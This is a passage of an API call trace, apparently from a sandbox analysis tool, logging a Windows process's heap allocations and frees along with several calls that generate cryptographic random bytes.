Flags=0x8, Size=0x84) returned 0x514488 [0030.041] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514518 [0030.041] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x5145a8 [0030.044] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513420 | out: hHeap=0x4f0000) returned 1 [0030.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5134b0 | out: hHeap=0x4f0000) returned 1 [0030.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513540 | out: hHeap=0x4f0000) returned 1 [0030.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5135d0 | out: hHeap=0x4f0000) returned 1 [0030.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513660 | out: hHeap=0x4f0000) returned 1 [0030.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5136f0 | out: hHeap=0x4f0000) returned 1 [0030.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513780 | out: hHeap=0x4f0000) returned 1 [0030.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513810 | out: hHeap=0x4f0000) returned 1 [0030.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5138a0 | out: hHeap=0x4f0000) returned 1 [0030.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513930 | out: hHeap=0x4f0000) returned 1 [0030.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5139c0 | out: hHeap=0x4f0000) returned 1 [0030.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513a50 | out: hHeap=0x4f0000) returned 1 [0030.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513ae0 | out: hHeap=0x4f0000) returned 1 [0030.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513b88 | out: hHeap=0x4f0000) returned 1 [0030.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513c18 | out: hHeap=0x4f0000) returned 1 [0030.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513ca8 | out: hHeap=0x4f0000) returned 1 [0030.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513d38 | out: hHeap=0x4f0000) returned 1 [0030.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513dc8 | out: hHeap=0x4f0000) returned 1 [0030.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513e58 | out: hHeap=0x4f0000) returned 1 [0030.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513ee8 | out: hHeap=0x4f0000) returned 1 [0030.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513f78 | out: hHeap=0x4f0000) returned 1 [0030.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514008 | out: hHeap=0x4f0000) returned 1 [0030.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514098 | out: hHeap=0x4f0000) returned 1 [0030.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514128 | out: hHeap=0x4f0000) returned 1 [0030.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5141b8 | out: hHeap=0x4f0000) returned 1 [0030.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514248 | out: hHeap=0x4f0000) returned 1 [0030.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5142d8 | out: hHeap=0x4f0000) returned 1 [0030.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514368 | out: hHeap=0x4f0000) returned 1 [0030.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5143f8 | out: hHeap=0x4f0000) returned 1 [0030.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514488 | out: hHeap=0x4f0000) returned 1 [0030.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514518 | out: hHeap=0x4f0000) returned 1 [0030.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5145a8 | out: hHeap=0x4f0000) returned 1 [0030.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511280 | out: hHeap=0x4f0000) returned 1 [0030.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511310 | out: hHeap=0x4f0000) returned 1 [0030.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511058 | out: hHeap=0x4f0000) returned 1 [0030.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5110e0 | out: hHeap=0x4f0000) returned 1 [0030.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5111f0 | out: hHeap=0x4f0000) returned 1 [0030.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0030.045] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.046] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.046] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.046] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.047] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.047] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.047] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.048] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.048] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.048] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x511058 [0030.048] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5110e0 [0030.048] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x511168 [0030.048] CryptAcquireContextW (in: phProv=0x44d70c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d70c*=0x5111f0) returned 1 [0030.049] CryptGenRandom (in: hProv=0x5111f0, dwLen=0x80, pbBuffer=0x44d720 | out: pbBuffer=0x44d720) returned 1 [0030.049] CryptReleaseContext (hProv=0x5111f0, dwFlags=0x0) returned 1 [0030.049] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x5145a8 [0030.049] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511168 | out: hHeap=0x4f0000) returned 1 [0030.049] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514518 [0030.049] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x108) returned 0x511438 [0030.049] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x4) returned 0x510380 [0030.049] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511780 [0030.049] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.049] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0030.049] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x511168 [0030.049] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x10c) returned 0x5111f0 [0030.049] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.049] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x4ff028 [0030.049] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514488 [0030.049] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511168 | out: hHeap=0x4f0000) returned 1 [0030.049] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511550 [0030.049] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514488 | out: hHeap=0x4f0000) returned 1 [0030.049] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510218 [0030.049] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x4ff040 [0030.049] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.049] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510218 | out: hHeap=0x4f0000) returned 1 [0030.050] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x88) returned 0x514488 [0030.050] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4ff040 | out: hHeap=0x4f0000) returned 1 [0030.050] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511898 [0030.050] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514488 | out: hHeap=0x4f0000) returned 1 [0030.050] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.050] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.050] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.050] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.050] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.050] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.050] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.050] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.050] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.050] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.050] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.050] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.050] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.050] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.050] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.050] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.050] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.050] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.050] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.050] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.050] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.050] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.050] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.050] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.050] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.050] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.050] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.050] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.050] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.050] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.050] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.050] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.050] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.050] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.050] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.050] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.050] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.050] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.051] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.051] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.051] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.051] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.051] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.051] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.051] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.051] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.051] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.051] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.051] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.051] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.051] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.051] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.051] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.051] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.051] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.051] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.051] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.051] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.051] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.051] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.051] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.051] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.051] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.051] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.051] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.051] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.051] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.051] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.051] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.051] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.051] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.051] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.051] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.051] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.051] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.051] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.051] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.051] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.051] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.052] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.052] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.052] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.052] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.052] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.052] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.052] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.052] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.052] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.052] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.052] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.052] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.052] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.052] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.052] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.052] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.052] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.052] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.052] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.052] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.052] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.052] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.052] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.052] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.052] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.052] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.052] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.052] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.052] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.052] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.052] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.052] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.052] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.052] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.052] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.052] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.052] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.052] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.052] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.052] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.052] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.052] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.053] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.053] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.053] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.053] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.053] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.053] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.053] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.053] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.053] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.053] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.053] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.053] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0030.053] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511550 | out: hHeap=0x4f0000) returned 1 [0030.053] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5111f0 | out: hHeap=0x4f0000) returned 1 [0030.053] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511898 | out: hHeap=0x4f0000) returned 1 [0030.053] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4ff028 | out: hHeap=0x4f0000) returned 1 [0030.053] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514488 [0030.053] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x5143f8 [0030.053] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514368 [0030.053] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x5142d8 [0030.053] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514248 [0030.053] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x5141b8 [0030.053] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514128 [0030.053] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514098 [0030.053] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514008 [0030.053] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513f78 [0030.053] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513ee8 [0030.053] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513e58 [0030.053] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513dc8 [0030.053] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513d38 [0030.053] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513ca8 [0030.053] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513c18 [0030.053] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513b88 [0030.053] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514638 [0030.053] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x5146c8 [0030.053] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514758 [0030.053] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x5147e8 [0030.053] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514878 [0030.054] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514908 [0030.054] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514998 [0030.054] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514a28 [0030.054] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514ab8 [0030.054] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514b48 [0030.054] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514bd8 [0030.054] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514c68 [0030.054] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514cf8 [0030.054] 